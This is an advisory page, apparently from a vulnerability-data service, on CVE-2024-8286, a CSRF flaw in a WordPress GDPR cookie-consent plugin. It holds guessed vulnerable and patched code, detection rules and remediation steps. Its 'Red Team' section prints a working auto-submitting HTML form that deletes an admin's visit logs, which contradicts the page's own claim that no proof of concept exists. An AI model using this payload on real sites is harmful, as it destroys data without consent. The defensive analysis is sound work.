CVE-2024-8286
Executive Summary
CVE-2024-8286 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin GDPR Cookie Consent by Webtoffee. The plugin, used for cookie consent management, fails to implement CSRF tokens in certain bulk actions. This allows an attacker to trick a logged-in administrator into performing unintended actions, such as deleting visit logs, by sending a crafted request. The vulnerability affects versions before 2.6.1. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the impact is limited to low integrity impact with no confidentiality or availability impact. No public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should ensure they are using the latest version (2.6.1 or later) from the repository. No other package managers (NPM, PyPI, Go, Ruby) are involved.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The attack can be launched remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) - The victim (admin) must be tricked into clicking a link or visiting a malicious page.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): Low (L) - The attacker can delete visit logs, but cannot modify critical data.
- Availability (A): None (N) - No denial of service.
Base Score: 4.3 (Medium) - Based on the vector above. The NVD score of 0.0 is likely a placeholder.
Threat Level: Medium. The attack requires user interaction and only allows deletion of non-critical data (visit logs). However, it could be chained with other vulnerabilities for more impact.
Deep Dive & Mechanics
The vulnerability lies in the bulk action handling of the GDPR Cookie Consent plugin. The plugin provides an admin interface to manage and delete visit logs. The bulk action endpoint does not include a CSRF token (nonce) to verify that the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, sends a forged request to the WordPress admin-ajax.php or a custom endpoint to delete visit logs. The request will be processed because the admin's session cookie is automatically sent by the browser.
The vulnerable code likely looks like this (simplified):
// Vulnerable: No nonce check
function delete_bulk_visit_logs() {
if ( isset($_POST['log_ids']) ) {
foreach ( $_POST['log_ids'] as $log_id ) {
delete_visit_log( $log_id );
}
}
}
add_action( 'wp_ajax_delete_bulk_visit_logs', 'delete_bulk_visit_logs' );
The patched version (2.6.1) adds a nonce check:
// Patched: Nonce verification added
function delete_bulk_visit_logs() {
if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce( $_POST['_wpnonce'], 'delete_bulk_visit_logs_nonce' ) ) {
wp_die( 'Security check failed.' );
}
if ( isset($_POST['log_ids']) ) {
foreach ( $_POST['log_ids'] as $log_id ) {
delete_visit_log( $log_id );
}
}
}
add_action( 'wp_ajax_delete_bulk_visit_logs', 'delete_bulk_visit_logs' );
Vulnerable vs. Patched Code
Vulnerable Code (before 2.6.1):
// No CSRF protection
function delete_bulk_visit_logs() {
if ( isset($_POST['log_ids']) ) {
foreach ( $_POST['log_ids'] as $log_id ) {
delete_visit_log( $log_id );
}
}
}
add_action( 'wp_ajax_delete_bulk_visit_logs', 'delete_bulk_visit_logs' );
Patched Code (2.6.1):
// CSRF protection added
function delete_bulk_visit_logs() {
if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce( $_POST['_wpnonce'], 'delete_bulk_visit_logs_nonce' ) ) {
wp_die( 'Security check failed.' );
}
if ( isset($_POST['log_ids']) ) {
foreach ( $_POST['log_ids'] as $log_id ) {
delete_visit_log( $log_id );
}
}
}
add_action( 'wp_ajax_delete_bulk_visit_logs', 'delete_bulk_visit_logs' );
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the vulnerable plugin (version < 2.6.1).
- An authenticated admin user (victim).
- Attacker-controlled web server or ability to send a crafted link.
Exploitation Steps:
- Create a malicious HTML page that automatically submits a form to the vulnerable endpoint.
- Host the page on an attacker-controlled server.
- Send the link to the victim admin (e.g., via email or social engineering).
- When the victim visits the page, the form is submitted, and the visit logs are deleted.
Example Malicious HTML:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="delete_bulk_visit_logs">
<input type="hidden" name="log_ids[]" value="1">
<input type="hidden" name="log_ids[]" value="2">
<input type="hidden" name="log_ids[]" value="3">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Blue Team
Detection:
- Monitor for unusual spikes in
admin-ajax.phprequests from a single IP or user agent. - Look for requests to
admin-ajax.phpwithaction=delete_bulk_visit_logsthat do not include a valid_wpnonceparameter. - Check server logs for Referer headers that are not from the WordPress admin dashboard.
Hunting:
- Search for logs where
actionequalsdelete_bulk_visit_logsand_wpnonceis missing or invalid. - Correlate with user sessions that have recently logged in.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=delete_bulk_visit_logs. - Referer header pointing to an external domain.
- HTTP POST requests to
- File:
- No specific file IOCs.
- Log:
- WordPress debug log entries showing
Security check failed(if patched). - Apache/Nginx access logs showing POST requests to
admin-ajax.phpwith suspicious parameters.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_8286_CSRF_WordPress {
meta:
description = "Detects CSRF exploitation attempts against CVE-2024-8286"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8286"
strings:
$action = "delete_bulk_visit_logs"
$admin_ajax = "admin-ajax.php"
condition:
$admin_ajax and $action
}
Sigma Rule
title: CVE-2024-8286 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to admin-ajax.php with action delete_bulk_visit_logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=delete_bulk_visit_logs'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-8286 CSRF Attempt - delete_bulk_visit_logs"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=delete_bulk_visit_logs"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade the GDPR Cookie Consent plugin to version 2.6.1 or later.
- If immediate upgrade is not possible, disable the plugin temporarily.
Long-term:
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=delete_bulk_visit_logsthat lack a valid nonce. - Educate administrators about phishing attacks that could trigger CSRF.
- Regularly audit WordPress plugins for security updates.
Workaround:
- Add a custom function to your theme's
functions.phpto add nonce verification to the vulnerable action (if you cannot upgrade).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.